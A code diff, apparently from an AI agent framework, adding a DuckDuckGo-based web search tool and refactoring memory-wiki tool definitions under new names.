_MAX_SNIPPET = 800
_DDGS_TIMEOUT = 15
def _utc_now_iso() -> str:
return datetime.now(timezone.utc).isoformat()
def _truncate(s: str, limit: int) -> str:
t = (s or "").strip()
if len(t) <= limit:
return t
return t[: limit - 3] + "..."
def _published_display_and_sort_key(raw: Any) -> tuple[str | None, float]:
if raw is None:
return None, float("-inf")
if isinstance(raw, (int, float)):
try:
ts = float(raw)
dt = datetime.fromtimestamp(ts, timezone.utc)
return dt.isoformat(), ts
except (OSError, OverflowError, ValueError):
return str(raw), float("-inf")
s = str(raw).strip()
if not s:
return None, float("-inf")
try:
s2 = s[:-1] + "+00:00" if s.endswith("Z") else s
dt = datetime.fromisoformat(s2)
if dt.tzinfo is None:
dt = dt.replace(tzinfo=timezone.utc)
iso = dt.astimezone(timezone.utc).isoformat()
return iso, dt.timestamp()
except Exception:
return s, float("-inf")
def web_search_tool() -> ToolSpec:
def handler(args: dict[str, Any]) -> dict[str, Any]:
q = str(args.get("query") or "").strip()
if not q:
return {"ok": False, "error": "query is required"}
raw_max = args.get("max_results")
try:
max_n = int(raw_max) if raw_max is not None else 8
except (TypeError, ValueError):
max_n = 8
max_n = max(1, min(15, max_n))
stype = str(args.get("search_type") or "web").strip().lower()
if stype not in ("web", "news"):
return {"ok": False, "error": "search_type must be 'web' or 'news'"}
timelimit = args.get("time_range")
if timelimit is not None and timelimit != "":
tl = str(timelimit).strip().lower()
allowed = {"d", "w", "m", "y"}
if tl not in allowed:
return {"ok": False, "error": f"time_range must be one of {sorted(allowed)} or omitted"}
timelimit = tl
else:
timelimit = None
try:
from ddgs import DDGS
except ImportError:
return {"ok": False, "error": "Package `ddgs` is not installed. Run: pip install ddgs"}
retrieved_at = _utc_now_iso()
try:
rows: list[dict[str, Any]] = []
with DDGS(timeout=_DDGS_TIMEOUT) as ddgs:
if stype == "web":
for r in ddgs.text(q, max_results=max_n, timelimit=timelimit):
if not isinstance(r, dict):
continue
title = _truncate(str(r.get("title") or ""), 300)
url = str(r.get("href") or r.get("url") or "").strip()
body = _truncate(str(r.get("body") or ""), _MAX_SNIPPET)
if title or url or body:
rows.append({"title": title, "url": url, "snippet": body, "published_time": None})
sort_mode = "relevance"
note = "Web index does not provide reliable per-result publication times; order follows search relevance. Use search_type=news for time-sorted news."
else:
decorated: list[tuple[float, dict[str, Any]]] = []
for r in ddgs.news(q, max_results=max_n, timelimit=timelimit):
if not isinstance(r, dict):
continue
title = _truncate(str(r.get("title") or ""), 300)
url = str(r.get("url") or r.get("href") or "").strip()
body = _truncate(str(r.get("body") or ""), _MAX_SNIPPET)
pub, sk = _published_display_and_sort_key(r.get("date"))
src = str(r.get("source") or "").strip()
item = {"title": title, "url": url, "snippet": body, "published_time": pub}
if src:
item["source"] = src
if title or url or body:
decorated.append((sk, item))
decorated.sort(key=lambda x: x[0], reverse=True)
rows = [x[1] for x in decorated]
sort_mode = "published_time_desc"
note = "News results sorted by published_time (newest first). Snippets are from third-party indexes; verify critical facts."
if not rows:
return {"ok": True, "query": q, "search_type": stype, "retrieved_at": retrieved_at, "sort": sort_mode, "results": [], "note": "No results (empty or blocked). Try rephrasing the query."}
return {"ok": True, "query": q, "search_type": stype, "retrieved_at": retrieved_at, "sort": sort_mode, "results": rows, "source": "duckduckgo", "note": note}
except Exception as e:
return {"ok": False, "error": f"Web search failed: {e}"}
return ToolSpec(
name="web_search",
description="Search the public web (DuckDuckGo via ddgs, no API key).",
parameters={
"type": "object",
"properties": {
"query": {"type": "string", "description": "Search keywords or question."},
"max_results": {"type": "integer", "description": "Optional. Number of results (1–15). Default 8."},
"search_type": {"type": "string", "enum": ["web", "news"], "description": "Optional. 'web' or 'news'."},
"time_range": {"type": "string", "enum": ["d", "w", "m", "y"], "description": "Optional time limit."},
},
"required": ["query"],
"additionalProperties": False,
},
handler=handler,
)
__all__ = ["web_search_tool"]

View file

@ -0,0 +1,19 @@
from __future__ import annotations
# Canonical memory expert tools live under this directory.
from .wiki_tools import (
memory_wiki_apply_tool,
memory_wiki_get_tool,
memory_wiki_lint_tool,
memory_wiki_search_tool,
memory_wiki_status_tool,
)
__all__ = [
"memory_wiki_apply_tool",
"memory_wiki_get_tool",
"memory_wiki_lint_tool",
"memory_wiki_search_tool",
"memory_wiki_status_tool",
]

View file

@ -1,7 +1,6 @@
from __future__ import annotations
import importlib.util
from pathlib import Path
from types import SimpleNamespace
from typing import Any, Callable
@ -27,7 +26,7 @@ def _plugin_cfg() -> dict[str, Any]:
def _wiki_handlers() -> dict[str, Callable[[dict[str, Any]], dict[str, Any]]]:
api_path = (PROJECT_ROOT / "oclaw" / "runtime" / "extensions" / "memory-wiki" / "api.py").resolve()
spec = importlib.util.spec_from_file_location("memory_curator_wiki_api", str(api_path))
spec = importlib.util.spec_from_file_location("memory_wiki_api", str(api_path))
if spec is None or spec.loader is None:
return {}
mod = importlib.util.module_from_spec(spec)
@ -58,10 +57,10 @@ def _delegate(tool_name: str, args: dict[str, Any]) -> dict[str, Any]:
return {"ok": False, "error": f"{type(exc).__name__}: {exc}"}
def memory_curator_wiki_status_tool() -> ToolSpec:
def _status_tool(public_name: str, desc: str) -> ToolSpec:
return ToolSpec(
name="memory_curator_wiki_status",
description="Read wiki runtime status for memory curation.",
name=public_name,
description=desc,
parameters={"type": "object", "properties": {}, "required": [], "additionalProperties": False},
handler=lambda args: _delegate("wiki_status", args),
tags=frozenset({"memory", "wiki", "curator"}),
@ -69,10 +68,10 @@ def memory_curator_wiki_status_tool() -> ToolSpec:
)
def memory_curator_wiki_get_tool() -> ToolSpec:
def _get_tool(public_name: str, desc: str) -> ToolSpec:
return ToolSpec(
name="memory_curator_wiki_get",
description="Read a markdown file from wiki for curation.",
name=public_name,
description=desc,
parameters={
"type": "object",
"properties": {
@ -89,10 +88,10 @@ def memory_curator_wiki_get_tool() -> ToolSpec:
)
def memory_curator_wiki_search_tool() -> ToolSpec:
def _search_tool(public_name: str, desc: str) -> ToolSpec:
return ToolSpec(
name="memory_curator_wiki_search",
description="Search wiki markdown for memory curation.",
name=public_name,
description=desc,
parameters={
"type": "object",
"properties": {
@ -110,10 +109,10 @@ def memory_curator_wiki_search_tool() -> ToolSpec:
)
def memory_curator_wiki_lint_tool() -> ToolSpec:
def _lint_tool(public_name: str, desc: str) -> ToolSpec:
return ToolSpec(
name="memory_curator_wiki_lint",
description="Lint wiki markdown structure for curation quality.",
name=public_name,
description=desc,
parameters={
"type": "object",
"properties": {"path": {"type": "string"}},
@ -126,10 +125,10 @@ def memory_curator_wiki_lint_tool() -> ToolSpec:
)
def memory_curator_wiki_apply_tool() -> ToolSpec:
def _apply_tool(public_name: str, desc: str) -> ToolSpec:
return ToolSpec(
name="memory_curator_wiki_apply",
description="Apply curated write/append/delete changes to wiki markdown.",
name=public_name,
description=desc,
parameters={
"type": "object",
"properties": {
@ -147,10 +146,31 @@ def memory_curator_wiki_apply_tool() -> ToolSpec:
)
def memory_wiki_status_tool() -> ToolSpec:
return _status_tool("memory_wiki_status", "Read wiki runtime status for memory.")
def memory_wiki_get_tool() -> ToolSpec:
return _get_tool("memory_wiki_get", "Read a markdown file from memory wiki.")
def memory_wiki_search_tool() -> ToolSpec:
return _search_tool("memory_wiki_search", "Search memory wiki markdown.")
def memory_wiki_lint_tool() -> ToolSpec:
return _lint_tool("memory_wiki_lint", "Lint memory wiki markdown structure.")
def memory_wiki_apply_tool() -> ToolSpec:
return _apply_tool("memory_wiki_apply", "Apply write/append/delete changes to memory wiki markdown.")
__all__ = [
"memory_curator_wiki_status_tool",
"memory_curator_wiki_get_tool",
"memory_curator_wiki_search_tool",
"memory_curator_wiki_lint_tool",
"memory_curator_wiki_apply_tool",
"memory_wiki_status_tool",
"memory_wiki_get_tool",
"memory_wiki_search_tool",
"memory_wiki_lint_tool",
"memory_wiki_apply_tool",
]

Some files were not shown because too many files have changed in this diff Show more